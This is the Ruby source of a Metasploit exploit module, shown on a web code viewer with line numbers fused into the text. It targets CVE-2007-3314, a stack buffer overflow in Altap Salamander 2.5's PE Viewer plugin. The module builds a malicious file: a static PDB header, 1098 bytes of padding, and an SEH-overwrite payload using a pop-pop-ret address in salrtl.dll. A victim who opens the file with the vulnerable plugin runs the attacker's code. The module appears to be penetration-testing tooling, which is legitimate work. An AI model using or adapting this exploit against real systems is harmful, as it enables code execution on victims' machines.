Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in Altap Salamander <= v2.5.16By creating a malicious file and convincing a user to view the file with17the Portable Executable Viewer plugin within a vulnerable version of18Salamander, the PDB file string is copied onto the stack and the19SEH can be overwritten.20},21'License' => MSF_LICENSE,22'Author' => [ 'aushack' ],23'References' =>24[25[ 'CVE', '2007-3314' ],26[ 'BID', '24557' ],27[ 'OSVDB', '37579' ],28[ 'URL', 'http://vuln.sg/salamander25-en.html' ],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'process',33'DisablePayloadHandler' => true34},35'Payload' =>36{37'Space' => 1024,38'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll45],46'Privileged' => false,47'DisclosureDate' => '2007-06-19',48'DefaultTarget' => 0))4950register_options(51[52OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])53])5455end5657def exploit5859seh = generate_seh_payload(target.ret)6061# load the static pdb file beginning62path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")63fd = File.open(path, "rb")64sploit = fd.read(fd.stat.size)65fd.close6667sploit << rand_text_alphanumeric(1098) + seh68sploit << ".pdb"6970print_status("Creating '#{datastore['FILENAME']}' file ...")7172file_create(sploit)7374end75end767778